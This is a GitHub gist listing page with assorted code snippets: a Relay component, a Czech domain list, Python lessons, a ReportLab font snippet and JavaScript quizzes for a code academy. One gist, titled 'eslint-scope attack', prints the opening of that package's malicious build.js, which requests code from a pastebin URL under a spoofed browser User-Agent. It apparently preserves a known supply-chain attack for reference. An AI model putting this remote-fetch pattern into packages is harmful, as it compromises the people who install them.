Skip to content

Instantly share code, notes, and snippets.

View messa's full-sized avatar

Petr Messner messa

View GitHub Profile
@AndrewIngram
AndrewIngram / PostDetail.jsx
Last active October 23, 2022 01:56
Updated Next.js with Relay (still using getInitialProps)
import React from "react";
import { graphql } from "react-relay";
import createPageContainer from "../relay/createPageContainer";
import PostLayout from "../components/PostLayout";
import Header from "../components/Header";
import Shell from "../layouts/Shell";
@kokes
kokes / cz.txt
Last active April 29, 2020 10:49
czech domains *potentially* affected by this CAA problem https://letsencrypt.org/caaproblem/
This file has been truncated, but you can view the full file.
*.0.devklarka.cz
*.05.cz
*.0e.cz
*.0oo.cz
*.1.devklarka.cz
*.10.devklarka.cz
*.1001hry.cz
*.100letvyroci.cz
*.100py.cz
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@dingosaurus
dingosaurus / rl.py
Created April 15, 2019 07:42
reportlab font
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
FONT = os.path.join(settings.PROJECT_PATH, 'path/to/verah.ttf')
FONT_BOLD = os.path.join(settings.PROJECT_PATH, 'path/to/verahb.ttf')
FONT_NAME = "ticket_font"
FONT_BOLD_NAME = "ticket_font_bold"
FONT_FAMILY = "ticket_font_family"
@brabemi
brabemi / formatovani.py
Last active April 11, 2019 08:41
PyLadies - Praha (NTK) - jaro 2019 - Lekce 5 – Řetězce
def vypis_hezky_nasobilku(maximum):
for radek in range(maximum):
for sloupec in range(maximum):
# formátování viz https://naucse.python.cz/2019/pyladies-praha-jaro-ntk/beginners/str/
# Do {} lze zapsat, jak má výstup vypadat viz https://pyformat.info/
# : - pomocný znak, > - zarovnat vpravo, 3 - šířka na 3 znaky
print('{:>3}'.format(radek * sloupec), end=' ')
print()
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
anonymous
anonymous / gist:f5b1de1d95b59d2eafc762f0df92fc4e
Created October 1, 2017 06:21
Kamen_nuzky
from random import randrange
cislo = randrange(3)
print(cislo)
if cislo == 0:
tah_pocitace= "kámen"
elif cislo == 1:
tah_pocitace = "nůžky"
else:
tah_pocitace = "papír"
@lspdv
lspdv / quiz.js
Last active September 8, 2017 10:16
How would you change the second line in the following example so that it prints numbers 0, 1, 2, 3 in this order
//How would you change the second line in the following example so that it prints numbers 0, 1, 2, 3 in this order?
//Please answer fill only to the registration form for MSD Code Academy :-)
for (var i = 0; i < 4; i++) {
setTimeout(() => console.log(i), 0)
}
//A: By changing line 2) ... (function(number) { setTimeout(() => console.log(number), 0)})(i)
//B: By changing line 1) ... for (let i = 0; i < 4; i++) {
//C: By changing line 2) ... var temp = i; setTimeout(() => console.log(temp), 0)
//D: By changing line 2) ... setTimeout((i) => console.log(i), 0)
@lspdv
lspdv / quiz.js
Last active September 8, 2017 10:17
Given the following code, I understand what the output will be:
//Given the following code, I understand what the output will be
//Please answer fill only to the registration form for MSD Code Academy :-)
const obj = {
name: 'John',
getName () {
return this.name;
}
};
const name1 = obj.getName();

How I met Pieter Hintjens

Preface

I wanted to write it when I realized Pieter is dying. Thanks God he have been waiting on my article all the time! It is not well thought or structured, just a simple dump of my memory.

Chapter one